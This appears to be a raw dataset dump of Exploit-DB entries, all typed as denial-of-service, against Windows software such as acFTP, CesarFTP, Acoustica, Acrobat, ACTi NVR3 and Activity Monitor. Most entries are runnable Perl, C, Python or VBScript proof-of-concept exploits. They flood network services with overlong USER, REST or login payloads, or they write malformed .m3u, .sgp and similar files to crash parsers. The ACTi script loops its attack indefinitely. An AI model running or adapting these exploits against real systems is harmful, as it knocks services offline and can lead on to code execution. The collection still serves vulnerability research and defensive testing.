deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19332
Description: ACDSee PRO 5.1 - '.PCT' Image Processing Heap Overflow
Type: dos
Platform: windows
Date: 2012-06-22
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   ACDSee PRO PCT Image Processing Heap Overflow
Platforms:   Windows 

Secunia:   SA48804  

{PRL}:   2012-21

Author:   Francis Provencher (Protek Research Lab's) 

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============
ACDSee is a shareware image organizer, viewer, and editor software for Microsoft
Windows and Mac OS X 10.5 and higher developed by ACD Systems. It was originally
distributed as a 16-bit application for Windows 3.0 and later supplanted by a 32-bit
version for Windows 95.

(http://en.wikipedia.org/wiki/ACDSee)

#####################################################################################

============================
2) Report Timeline
============================ 

2012-03-13  Vulnerability reported to Secunia
2012-06-21  Vendor disclose patch


#####################################################################################

============================
3) Technical details
============================
Insufficient validation in ID_PICT.apl of specific byte values used as sizes in the image
content can be exploited to cause a heap-based buffer overflow via a specially crafted .PCT file.
 

The vulnerabilities are confirmed in version 5.1 (Build 137). Other versions may also be affected.

#####################################################################################

===========
4) The Code
===========

http://protekresearchlab.com/exploits/PRL-2012-21.pct
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19332.pct
Exploit-DB #19331
Description: ACDSee PRO 5.1 - '.RLE' Image Processing Heap Overflow
Type: dos
Platform: windows
Date: 2012-06-22
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   ACDSee PRO RLE Image Processing Heap Overflow
Platforms:   Windows 

Secunia:   SA48804  

{PRL}:   2012-22

Author:   Francis Provencher (Protek Research Lab's) 

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============
ACDSee is a shareware image organizer, viewer, and editor software for Microsoft
Windows and Mac OS X 10.5 and higher developed by ACD Systems. It was originally
distributed as a 16-bit application for Windows 3.0 and later supplanted by a 32-bit
version for Windows 95.

(http://en.wikipedia.org/wiki/ACDSee)

#####################################################################################

============================
2) Report Timeline
============================ 

2012-03-13  Vulnerability reported to Secunia
2012-06-21  Vendor disclose patch


#####################################################################################

============================
3) Technical details
============================
Insufficient validation in IDE_ACDStd.apl of specific byte values used as sizes
in the image content when decompressing run-length encoded bitmaps can
be exploited to cause a heap-based buffer overflow via a specially crafted .RLE file.
 

The vulnerabilities are confirmed in version 5.1 (Build 137). Other versions may also be affected.

#####################################################################################

===========
4) The Code
===========
http://protekresearchlab.com/exploits/PRL-2012-22.rle
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19331.rle
Exploit-DB #1749
Description: acFTP FTP Server 1.4 - 'USER' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2006-05-04
Author: Preddy

Exploit:
 ################################################
#===== acFtpd BoF Crash Exploit =====
#
# There is a Buffer overflow at the
# USER command in acFtpd.
#
# Vuln found by: Preddy
# RootShell Security Group
#
# Usage: ac_dos.pl <ip>
################################################

use IO::Socket;
use Win32;
use strict;

my($i)      = "";
my($socket) = "";
my $overflow = "A{" x 4700;

if($ARGV[0] == "")
{
print "################################################\n";
print "# ===== acFtpd BoF Crash Exploit =====\n";
print "#\n";
print "# Vuln found by: Preddy\n";
print "# RootShell Security Group\n";
print "# www.rootshell-security.net\n";
print "#\n";
print "# Usage ac_dos.pl <ip>\n";
print "################################################\n";
}

        if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                            PeerPort => "21",
                                            Proto    => "TCP"))
        {
                print "Sending Overflow String!\n";
                print "Ftp should be crashed!\n";

                Win32::Sleep(300);

                print $socket "USER $overflow\r\n";

                Win32::Sleep(100);


                close($socket);
        }

# milw0rm.com [2006-05-04]
Exploit-DB #1757
Description: acFTP FTP Server 1.4 - 'USER' Remote Denial of Service
Type: dos
Platform: windows
Date: 2006-05-06
Author: Omni

Exploit:
/**
Exploit for : acFTP 1.4 DoS Exploit
Advisory : http://secunia.com/advisories/19978/
Coder : Omnipresent
Email : omnipresent@email.it
Description : Preddy has discovered a vulnerability in acFTP, which can be exploited by malicious people to cause a DoS (Denial of Service).
The vulnerability is caused due to an error within the handling of the argument passed to the 
"USER" command. This can be exploited to crash the FTP server via an overly long argument that 
contains certain character sequences.

The vulnerability has been confirmed in version 1.4. Other versions may also be affected.

Date: 05/06/2006 - M/D/Y
**/

#ifdef _WIN32
#include <winsock2.h>

SOCKET sock;
WSADATA wsaData;
WORD wVersionRequested;

#else
#include <sys/socket.h>
#include <netinet/in.h>
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1

int sock;
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv)
{
char buf[2505];
struct sockaddr_in saddr;
unsigned long ip;
int i;

if (argc != 2)
{
printf("acFTP 1.4 USER Command - DoS Exploit!\r\n");
printf("Coded by OmniPresent - omnipresent@email.it\r\n");
printf("acFTP 1.4 - DoS Exploit!rn");
printf("Advisory: http://secunia.com/advisories/19978/");
printf("%s <IP_Address>\r\n", argv[0]);

exit(1);
}

ip = inet_addr(argv[1]);

#ifdef _WIN32
wVersionRequested = MAKEWORD(2, 2);
if (WSAStartup(wVersionRequested, &wsaData) < 0)
{
printf("Unable to initialise Winsockr\n");
exit(1);
}
#endif


if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
{
printf("Socket Error \n");
exit(1);
}


memset(&saddr,'0', sizeof(saddr));
saddr.sin_port = htons(21); //21 is the default port of acFTP service (change it if necessary)
saddr.sin_family = AF_INET;
memcpy(&saddr.sin_addr, (unsigned long *)&ip, sizeof((unsigned long *)&ip));

if (connect(sock, (struct sockaddr *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
{
printf("Connect Error \n");
exit(1);
}

sleep(2); 
    
    buf[0]='U';
    buf[1]='S';
    buf[2]='E';
    buf[3]='R';
    buf[4]=' ';
    i = 5;
while (i < 2500) {

buf[i] = 'A';
i++;
buf[i] = '{';
i++;
}
strcat(buf, "\r\n");

printf("%s\n",buf);


send(sock, buf, sizeof(buf), 0);

#ifdef _WIN32
closesocket(sock);
#else
close(sock);
#endif
printf("DoS Attack Done!\n");
}

// milw0rm.com [2006-05-06]
Exploit-DB #2985
Description: acFTP FTP Server 1.5 - 'REST/PBSZ' Remote Denial of Service
Type: dos
Platform: windows
Date: 2006-12-23
Author: gbr

Exploit:
#################################################
# acFTP 1.5 (REST/PBSZ) Denial of Service       #
# author: gbr                                   #
# mail: gabrielquadros[at]hotmail.com           #
#################################################


use IO::Socket;

if(!defined($ARGV[0])) {
       print "Usage: $0 ip port\n";
       exit;
}

my $sock = new IO::Socket::INET(PeerAddr => $ARGV[0],
                               PeerPort => $ARGV[1],
                               Proto    => 'tcp')
       or die "Could not open a socket: $!\n";

$sock->recv($buf, 1024);
$sock->send("USER anonymous\r\n");
$sock->recv($buf, 1024);
$sock->send("PASS anonymous\r\n");
$sock->recv($buf, 1024);
for($i=0; $i<10; $i++) {
       $data .= "{}*{";
}

$sock->send("REST $data\r\n");
# $sock->send("PBSZ $data\r\n");

print "Server exploited\n";

# milw0rm.com [2006-12-23]
Exploit-DB #23700
Description: ACLogic CesarFTP 0.99 - Remote Resource Exhaustion (Denial of Service)
Type: dos
Platform: windows
Date: 2004-02-16
Author: intuit e.b.

Exploit:
source: https://www.securityfocus.com/bid/9666/info

It has been reported that CesarFTP is prone to a remote resource exhaustion vulnerability. This issue is due to the application failing to properly validate user input. 

Successful exploitation of this issue may cause the affected server to hang, denying service to legitimate users. It has been conjectured that this issue may be due to a boundary management problem that may lead to arbitrary code execution, however this has yet to be verified.

ftp://www.example.com/user:pass@127.0.0.1/< ... >=4084 symbols ... >/
Exploit-DB #12422
Description: Acoustica 3.32 CD/DVD Label Maker - '.m3u' (PoC)
Type: dos
Platform: windows
Date: 2010-04-27
Author: chap0

Exploit:
# Exploit Title: Acoustica cd/dvd label maker .m3u PoC
# Date: April 27,2010
# Software Link: [http://www.acoustica.com/cd-label-maker/]
# Version: 3.32
# Tested on: Windows XP Sp3/Windows 7
# Author: chap0	
# Email: chap0x90 at gmail dot com
# 
# Contacted Vendor Apr 19, 2010
# Auto Reply Support Ticket ID:155626 Apr 19 2010
# No further communication from vendor
# 
# Greetz and Thanks to mr_me 
#
#
# EAX 00000041
# ECX 0000012C
# EDX 000DE9A8 UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA. . ."
# EBX 000004EA
# ESP 000DE960
# EBP 000DEBB8 UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
# ESI 00410041 cdlabel.00410041
# EDI 00410041 cdlabel.00410041
# EIP 00605216 cdlabel.00605216
#
#!/usr/bin/perl

$file = "boom.m3u";
$junk = "\x41" x 300;

print "Creating Nasty .m3u file\n";
open (FILE, ">$file");
print FILE "$junk";
close FILE;

print "Done\n";
Exploit-DB #17642
Description: Acoustica Mixcraft 1.00 - Local Crash
Type: dos
Platform: windows
Date: 2011-08-09
Author: NassRawI

Exploit:
#!/usr/bin/perl

print q(
########################################################
# home : http://www.D99Y.com  
# Date : 9/8/2011  
# Author : NassRawI  
# Software Link : http://www.acoustica.com/mixcraft/
# Version : v1.00 Build 10  
# Tested on : Windows XP SP2
########################################################
);

my $file= "crash.mxc";
my $junk= "\x64\x39\x39\x79\x2e\x63\x6f\x6d" x 1000 ;
open(d99y,">$file");
print d99y $junk ;
close(d99y);
print "\n [ # ] Vulnerable File Created !\n"
Exploit-DB #9213
Description: Acoustica MP3 Audio Mixer 2.471 - '.m3u' Local Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-07-20
Author: D3V!L FUCK3R

Exploit:
#!/usr/perl/bin -w
#
#
#Foundr By : D3V!L FucK3r
#
#MY Email: w0@live.no
#
#Download : http://www.acoustica.com
#
#Tested  on : Windos vista sp1
#
#Version : mp3 audio mixer v.2.471 Demo
#
#if you Click Ã—Ã—Ã—Ã—Ã—Ã— and select file then ...... :)
#
# perl For a men :)
#
#Gretz to : Sa^Devl  ,    THEINJECTOR    ,   anti-trust
#
#EAX 03D7ADF8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#ECX 41414141
#EDX 01EE0000
#EBX 00004141
#ESP 0012BC48
#EBP 0012BC74
#ESI 03E808E0
#EDI 00100000
#EIP 76ED04C1 ntdll.76ED04C1

$buff="\x41" x 5000;
open(MYFILE , '>>D3V!L FUCK3R.m3u')or die " File not found.";
print MYFILE $buff;
close (MYFILE);

print "Perl 4 a men :d\n";

###########################################

# milw0rm.com [2009-07-20]
Exploit-DB #9212
Description: Acoustica MP3 Audio Mixer 2.471 - '.sgp' Crash
Type: dos
Platform: windows
Date: 2009-07-20
Author: prodigy

Exploit:
#!/usr/bin/perl -w
#
# Acoustica MP3 Audio Mixer 1.0 (.sgp file) Crash Vulnerability Exploit
#
# Founded and exploited by prodigy
#
# Contact: smack_the_stream@hotmail.com
# 
# Vendor: www.acoustica.com
#
# Usage to reproduce the bug: when you created the malicious file, open it from the menu of the program and booom!!
#
# Platform: Windows
#
###################################################################

==PoC==

use strict;

use diagnostics;

my $file= "crash.sgp";

my $boom= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 5000;

open($FILE,">>$file");

print $FILE "$boom";

close($FILE);

print "File Created successfully\n";

==EndPoC==


##Greetz: Greetz myself for find the bug.

# milw0rm.com [2009-07-20]
Exploit-DB #14642
Description: Acrobat Acrobat - Font Parsing Integer Overflow
Type: dos
Platform: windows
Date: 2010-08-14
Author: Ramz Afzar

Exploit:
From the authors site:

In this article, I'm going to share with you my observations and analysis on recent Adobe Acrobat Font Parsing vulnerability. Source document exists here:

http://securityevaluators.com/files/papers/CrashAnalysis.pdf (page 51-58)

After reading the paper, I started studying the TTF format. After initial research, I wrote this script:

Writeup and proof of concept files included in archive file.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14642.tgz (VA010-003.tgz)
Exploit-DB #15419
Description: Acrobat Reader 9.4 - Memory Corruption
Type: dos
Platform: windows
Date: 2010-11-04
Author: scup

Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15419.bin (xpl_pdf.bin)

http://extraexploit.blogspot.com/2010/11/full-disclosure-xplpdf-adober-reader-94.html
Exploit-DB #38787
Description: Acrobat Reader DC 15.008.20082.15957 - '.PDF' Parsing Memory Corruption
Type: dos
Platform: windows
Date: 2015-11-23
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   Acrobat Reader DC

Platforms:   Windows

Versions:   15.008.20082.15957

CVE:   CVE-2015-7622

Author:   Francis Provencher of COSIG

Twitter:   @COSIG_

 

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

Adobe Acrobat is a family of application software and Web services developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF).[14]

The family comprises Acrobat Reader (formerly Adobe Reader), Acrobat (formerly Acrobat Exchange) and Acrobat.com. Thefreeware Acrobat Reader, available for several desktop and mobile platforms, can view, print and annotate PDF files.[15] Thecommercial proprietary Acrobat, available for Microsoft Windows and OS X only, can also create, edit, convert, digitally sign, encrypt, export and publish PDF files. Acrobat.com complements the family with a variety of enterprise content managementand file hosting services.

(https://en.wikipedia.org/wiki/Adobe_Acrobat)

#####################################################################################

============================
2) Report Timeline
============================

2015-08-09: Francis Provencher of COSIG found the issue;
2015-08-11: Francis Provencher of COSIG report vulnerability to PSIRT;
2015-10-13: Adobe release a patch (APSB15-24)

#####################################################################################

============================
3) Technical details
============================

An error in the the PDF parser, could lead to a memory corruption when processing a crafted PDF with an invalid image.

Successful exploitation of the vulnerabilities may allow execution of arbitrary code, but requires tricking a user into opening or previewing a malicious file.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2015-001.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38787.zip

###############################################################################
Exploit-DB #48731
Description: ACTi NVR3 Standard or Professional Server 3.0.12.42 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-08-05
Author: MegaMagnus

Exploit:
# Exploit Title: ACTi NVR3 Standard or Professional Server 3.0.12.42 - Denial of Service (PoC)  #
# Date: 2020-08-04                                                              #
# Exploit Author: MegaMagnus                                                    #
# Vendor Homepage: https://www.acti.com/                                        #
# Software Link: https://www.acti.com/DownloadCenter                            #
# Version: V.3.0.12.42 , V.2.3.04.07                                            #
# Tested on: Windows 7, Windows 10                                              #
# CVE: CVE-2020-15956                                                           #
# This is a Proof of Concept Exploit, Please use responsibly.                   #
#################################################################################

#!/usr/bin/env python
import requests
from requests.auth import HTTPBasicAuth
import sys

def product_info(server):
    try:
        r = requests.get(sys.argv[1] + '/media/Product/getProductInfo', timeout=10)
        if r.status_code == 200:
            print(r.text)
            return True
    except Exception as e:
        print(e)
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("usage: cve-2020-15956.py <target>")
        exit(-1)
    if product_info(sys.argv[1]):
        print("Starting DOS. Use Ctrl-C (SIGINT) to stop!")
        while True:
            try:
                payload = b"\x00" * (760)
                r = requests.get(sys.argv[1] + '/Media/UserGroup/login', auth=HTTPBasicAuth('Basic',payload), timeout=10)
                print(r.status_code)
            except KeyboardInterrupt:
                pass
            except Exception as e:
                pass
Exploit-DB #47495
Description: ActiveFax Server 6.92 Build 0316 - 'POP3 Server' Denial of Service
Type: dos
Platform: windows
Date: 2019-10-14
Author: stresser

Exploit:
# Exploit Title: ActiveFax Server 6.92 Build 0316 - 'POP3 Server' Denial of Service
# Date: 2019-10-12
# Vendor Homepage: https://www.actfax.com/
# Software Link :  https://www.actfax.com/download/actfax_setup_x64_ge.exe
# Exploit Author: Achilles
# Tested Version: 6.92
# Tested on: Windows 7 x64
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
 
# Steps to Produce the Crash: 
# 1.- Run python code : ActiveFax_Server.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open ActiveFaxServer.exe
# 4.- Open the Pop3 Server Config
# 5.- Press New
# 6.- Paste the content of EVIL.txt into the field: 'POP3 Server Address and Login and Password'
# 7.- Press ok Twice
# 8.- And you will see a crash.

#!/usr/bin/env python

buffer = "\x41" * 6000

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
Exploit-DB #24128
Description: ActivePerl 5.x / Cygwin 1.5.x - System Function Call Buffer Overflow
Type: dos
Platform: windows
Date: 2004-05-18
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/10375/info

ActiveState Perl and Perl for cygwin are both reported to be prone to a buffer overflow vulnerability. 

The issue is reported to exist due to a lack of sufficient bounds checking that is performed on data that is passed to a Perl system() function call. This vulnerability may permit an attacker to influence execution flow of a vulnerable Perl script to ultimately execute arbitrary code. Arbitrary code execution will occur in the context of the user who is running the malicious Perl script.

perl -e "$a="A" x 256; system($a)"
Exploit-DB #16002
Description: ActiveX UserManager 2.03 - Buffer Overflow
Type: dos
Platform: windows
Date: 2011-01-16
Author: blake

Exploit:
<html>
<object classid='clsid:E5D2CE27-5FA0-11D2-A666-204C4F4F5020' id='target'></object>
<script language='vbscript'>
' Exploit Title: ActiveX UserManager 2.03 Buffer Overflow
' Date: January 16, 2011
' Author: Blake
' Software Link: http://www.brothersoft.com/activex-usermanager-14519.html
' Version: 2.03
' Tested on: Windows XP SP3 / IE7 in VirtualBox
' Overwrites SEH with 00410041 but I could not find a useable pop pop ret


arg1=String(1044, "A")
arg2=True
exploit = arg1

target.SelectServer exploit ,arg2 

</script>
Exploit-DB #22690
Description: Activity Monitor 2002 2.6 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-05-29
Author: Luca Ercoli

Exploit:
// source: https://www.securityfocus.com/bid/7748/info

A vulnerability has been reported for Activity Monitor 2002 that may be exploited to remotely trigger a denial of service condition. The problem occurs while handling data received from hosts that are not registered in the Activity Monitor 'monitoring list'.

A remote attacker may exploit this vulnerability to crash a remote Activity Monitor service, effectively triggering a persistent denial of service condition.

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>



int main(int argc, char **argv)
{

  int i,ck,port,sd;
  char dos[10000];

  struct sockaddr_in act_mon_server;

  if(argc < 2)
  {
    printf("\nUsage: %s <ip>\n", argv[0]);
    exit(0);
  }

  port = 15163;

  for(i = 0; i < 10000; i++) dos[i] = 'x';

  act_mon_server.sin_family = AF_INET;
  act_mon_server.sin_port = htons((u_short)port);
  act_mon_server.sin_addr.s_addr = (long)inet_addr(argv[1]);

  sd = socket(AF_INET, SOCK_STREAM, 0);

  ck = connect(sd, (struct sockaddr *) &act_mon_server, sizeof
(act_mon_server));

  if(ck != 0) {
    perror("Connect");
    exit(0);
    }

  printf("\n\t\tProof of Concept Activity Monitor 2002 DoS\n");
  printf("\t\tby Luca Ercoli luca.ercoli@inwind.it\n\n");

  write(sd, dos, sizeof(dos));
  write(sd, dos, sizeof(dos));
  write(sd, dos, sizeof(dos));

  printf("\nDoS sent!\n");

  close(sd);

  exit(0);
}